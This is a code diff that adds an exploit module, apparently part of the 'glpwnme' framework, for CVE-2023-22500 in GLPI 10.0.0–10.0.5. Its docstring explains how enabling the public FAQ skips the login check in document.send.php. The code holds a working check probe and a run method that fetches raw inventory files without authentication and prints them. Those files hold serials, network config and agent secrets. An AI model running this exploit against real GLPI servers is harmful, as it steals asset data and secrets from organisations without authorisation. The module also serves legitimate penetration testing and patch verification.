|
| 1 | +from ..exploit import GlpiExploit |
| 2 | +from glpwnme.exploits.logger import Log |
| 3 | + |
| 4 | + |
| 5 | +class CVE_2023_22500(GlpiExploit): |
| 6 | + """ |
| 7 | + Unauthenticated access to native-inventory files via the public-FAQ bypass in |
| 8 | + front/document.send.php (GLPI 10.0.0 - 10.0.5). |
| 9 | +
|
| 10 | + The document streamer gated the WHOLE controller on the public-FAQ flag and |
| 11 | + then served the raw inventory directory with no rights check (10.0.5): |
| 12 | +
|
| 13 | + if (!$CFG_GLPI["use_public_faq"]) { |
| 14 | + Session::checkLoginUser(); // skipped entirely when FAQ is public |
| 15 | + } |
| 16 | + ... |
| 17 | + } else if (isset($_GET["file"])) { // arbitrary server file branch |
| 18 | + $splitter = explode("/", $_GET["file"], 2); |
| 19 | + ... |
| 20 | + if ($splitter[0] == "_inventory") { // NO right check |
| 21 | + $iconf = new Conf(); |
| 22 | + if ($iconf->isInventoryFile(GLPI_INVENTORY_DIR.'/'.$splitter[1])) { |
| 23 | + $send = GLPI_INVENTORY_DIR.'/'.$splitter[1]; // streamed |
| 24 | + } |
| 25 | + } |
| 26 | + if ($send && file_exists($send)) { |
| 27 | + Toolbox::sendFile($send, ...); // raw content, no auth |
| 28 | + } else { |
| 29 | + Html::displayErrorAndDie('Unauthorized access to this file', true); |
| 30 | + } |
| 31 | +
|
| 32 | + So when public FAQ is enabled (a common helpdesk config), an anonymous |
| 33 | + request to: |
| 34 | +
|
| 35 | + /front/document.send.php?file=_inventory/<path>.json |
| 36 | +
|
| 37 | + reaches the inventory branch with no session. A real inventory file |
| 38 | + (files/_inventories/...) is streamed verbatim; a non-existent one returns the |
| 39 | + application page "Unauthorized access to this file" - in either case HTTP 200, |
| 40 | + never a login redirect. These inventory files contain full raw asset data |
| 41 | + (serials, software, network config, agent secrets). |
| 42 | +
|
| 43 | + Fix (GLPI 10.0.6): Session::checkLoginUser() was moved INSIDE the file= |
| 44 | + branch so it always runs, and the inventory case gained |
| 45 | + `&& Session::haveRight(Conf::$rightname, READ)`. Unauthenticated requests now |
| 46 | + 302-redirect to the login page. |
| 47 | +
|
| 48 | + Behaviorally verified: with use_public_faq=1, file=_inventory/<x>.json |
| 49 | + returns HTTP 200 ("Unauthorized access to this file", or raw file content) on |
| 50 | + 10.0.2 and 10.0.5, and HTTP 302 to /index.php?redirect=... on 10.0.6 / 10.0.7 |
| 51 | + / 10.0.16 / 10.0.25 (same FAQ precondition). front/computer.php stays 302 on |
| 52 | + every instance, proving the server enforces auth generally and the 200 is the |
| 53 | + bypass, not a wide-open server. |
| 54 | +
|
| 55 | + Sibling: CVE-2023-35940 (unauth dashboard data, same 10.0.8 era). |
| 56 | +
|
| 57 | + @author unclej4ck |
| 58 | + @cvss 7.5 |
| 59 | + @name CVE_2023_22500 |
| 60 | + """ |
| 61 | + _impacts = "Information Disclosure, Broken Access Control" |
| 62 | + _privilege = "Unauthenticated" |
| 63 | + _is_check_opsec_safe = True |
| 64 | + min_version = "10.0.0" |
| 65 | + max_version = "10.0.6" # exclusive: 10.0.0-10.0.5 vulnerable, fixed in 10.0.6 |
| 66 | + |
| 67 | + _DOC = "/front/document.send.php" |
| 68 | + _FAQ = "/front/helpdesk.faq.php" |
| 69 | + _CTRL = "/front/computer.php" # always login-gated -> proves auth is enforced |
| 70 | + |
| 71 | + # markers Html::displayErrorAndDie emits from the unauth file= branch |
| 72 | + _APP_MARKERS = ("Unauthorized access to this file", "Invalid filename") |
| 73 | + |
| 74 | + # ------------------------------------------------------------------ # |
| 75 | + # HTTP helpers # |
| 76 | + # ------------------------------------------------------------------ # |
| 77 | + |
| 78 | + def _raw_get(self, path): |
| 79 | + return self.get(path, timeout=15, allow_redirects=False) |
| 80 | + |
| 81 | + def _inv_path(self, name): |
| 82 | + return f"{self._DOC}?file=_inventory/{name}" |
| 83 | + |
| 84 | + @staticmethod |
| 85 | + def _is_login_redirect(resp): |
| 86 | + if resp.status_code not in (301, 302, 303, 307, 308): |
| 87 | + return False |
| 88 | + loc = resp.headers.get("Location", "") |
| 89 | + return "login.php" in loc or "redirect=" in loc or loc.rstrip("/").endswith("index.php") |
| 90 | + |
| 91 | + def _reached_file_branch(self, resp): |
| 92 | + """True if the anonymous request reached the file= application logic |
| 93 | + (200, no login redirect) instead of being bounced to login.""" |
| 94 | + if self._is_login_redirect(resp): |
| 95 | + return False |
| 96 | + if resp.status_code != 200: |
| 97 | + return False |
| 98 | + body = resp.text or "" |
| 99 | + # Either a rendered app error from the file branch, or raw streamed |
| 100 | + # content (non-HTML body for an existing inventory file). |
| 101 | + if any(m in body for m in self._APP_MARKERS): |
| 102 | + return True |
| 103 | + # streamed file: not the login page, not an HTML error shell |
| 104 | + looks_html = "<html" in body[:200].lower() or "<!DOCTYPE" in body[:200] |
| 105 | + return not looks_html |
| 106 | + |
| 107 | + # ------------------------------------------------------------------ # |
| 108 | + # Exploit interface # |
| 109 | + # ------------------------------------------------------------------ # |
| 110 | + |
| 111 | + def infos(self): |
| 112 | + infos = "[u]Description:[/u]\n" |
| 113 | + infos += "Unauthenticated access to native-inventory files via the public-FAQ bypass\n" |
| 114 | + infos += "in [b]front/document.send.php[/b] (GLPI 10.0.0 - 10.0.5). When public FAQ is\n" |
| 115 | + infos += "enabled the controller skips [i]checkLoginUser()[/i] and the [b]file=_inventory/[/b]\n" |
| 116 | + infos += "branch streams files/_inventories content with no rights check.\n" |
| 117 | + infos += "Fix 10.0.6: login check moved inside the branch + inventory READ right.\n" |
| 118 | + |
| 119 | + infos += "\n[u]Required:[/u]\n" |
| 120 | + infos += " - Public FAQ enabled ([i]use_public_faq=1[/i]); the bypass is otherwise login-gated\n" |
| 121 | + |
| 122 | + infos += "\n[u]Params (run):[/u]\n" |
| 123 | + infos += " - [i]file[/i]: inventory path under _inventory/ to fetch\n" |
| 124 | + infos += " (e.g. computer/<deviceid>.json)\n" |
| 125 | + |
| 126 | + infos += "\n[u]Usage:[/u]\n" |
| 127 | + infos += "[grey66]# Check (no auth)[/]\n--check\n\n" |
| 128 | + infos += "[grey66]# Fetch a known inventory file[/]\n" |
| 129 | + infos += "--run -O file=computer/<deviceid>.json\n" |
| 130 | + |
| 131 | + infos += "\nExploit is [green b]Safe[/] (read-only GET probe)" |
| 132 | + return infos |
| 133 | + |
| 134 | + def check(self): |
| 135 | + """ |
| 136 | + Clean differential (precondition: public FAQ enabled): |
| 137 | + - file=_inventory/<rand>.json -> 200 app page / raw content (vulnerable) |
| 138 | + - benign control front/computer.php -> login redirect (server DOES gate) |
| 139 | + Patched (10.0.6+) redirects the same _inventory request to login, so |
| 140 | + _reached_file_branch is False. |
| 141 | + """ |
| 142 | + # negative control: a normal page MUST redirect, else the server is wide |
| 143 | + # open and any 200 is meaningless. |
| 144 | + ctrl = self._raw_get(self._CTRL) |
| 145 | + if not self._is_login_redirect(ctrl): |
| 146 | + Log.log(f"Control {self._CTRL} did not login-redirect " |
| 147 | + f"(HTTP {ctrl.status_code}) - server is not auth-gated, " |
| 148 | + "differential untrustworthy") |
| 149 | + return False |
| 150 | + |
| 151 | + # precondition probe: the bypass only exists when public FAQ is on |
| 152 | + faq = self._raw_get(self._FAQ) |
| 153 | + faq_open = (faq.status_code == 200) and not self._is_login_redirect(faq) |
| 154 | + if not faq_open: |
| 155 | + Log.log("Public FAQ is disabled - the document.send.php bypass is " |
| 156 | + "login-gated on this instance; not exploitable as configured") |
| 157 | + return False |
| 158 | + |
| 159 | + Log.log("Public FAQ enabled; requesting an inventory file unauthenticated ...") |
| 160 | + import uuid |
| 161 | + probe = self._raw_get(self._inv_path(f"glpwnme-{uuid.uuid4().hex[:10]}.json")) |
| 162 | + if not self._reached_file_branch(probe): |
| 163 | + Log.log(f"Inventory file request returned HTTP {probe.status_code} " |
| 164 | + f"(login redirect) - patched (10.0.6+)") |
| 165 | + return False |
| 166 | + |
| 167 | + Log.msg("Unauthenticated access to the inventory file branch confirmed " |
| 168 | + "(public FAQ on, control page still login-gated) - CVE-2023-22500") |
| 169 | + return True |
| 170 | + |
| 171 | + def run(self, file=None): |
| 172 | + """Fetch an inventory file unauthenticated. With no -O file, probes the |
| 173 | + branch and lists guidance; inventory files live under |
| 174 | + files/_inventories/<itemtype>/<deviceid>.<json|xml>.""" |
| 175 | + if not file: |
| 176 | + import uuid |
| 177 | + probe = self._raw_get(self._inv_path(f"glpwnme-{uuid.uuid4().hex[:10]}.json")) |
| 178 | + if self._reached_file_branch(probe): |
| 179 | + Log.msg("Inventory file branch reachable unauthenticated. Supply a " |
| 180 | + "path with [b]-O file=computer/<deviceid>.json[/b] to fetch " |
| 181 | + "raw asset data (serials, software, network, agent secrets).") |
| 182 | + else: |
| 183 | + Log.err("Inventory branch not reachable (patched or public FAQ off)") |
| 184 | + return |
| 185 | + |
| 186 | + resp = self._raw_get(self._inv_path(file)) |
| 187 | + if self._is_login_redirect(resp): |
| 188 | + Log.err("Login redirect - patched or public FAQ off") |
| 189 | + return |
| 190 | + body = resp.text or "" |
| 191 | + if resp.status_code == 200 and not any(m in body for m in self._APP_MARKERS): |
| 192 | + Log.msg(f"Fetched [gold3]_inventory/{file}[/] ({len(body)} bytes):") |
| 193 | + Log.msg(body if len(body) < 4000 else body[:4000] + "\n...[truncated]") |
| 194 | + self._write_log(f"CVE-2023-22500 leaked _inventory/{file} ({len(body)} bytes)") |
| 195 | + else: |
| 196 | + Log.err(f"No such inventory file (HTTP {resp.status_code}): _inventory/{file}") |
0 commit comments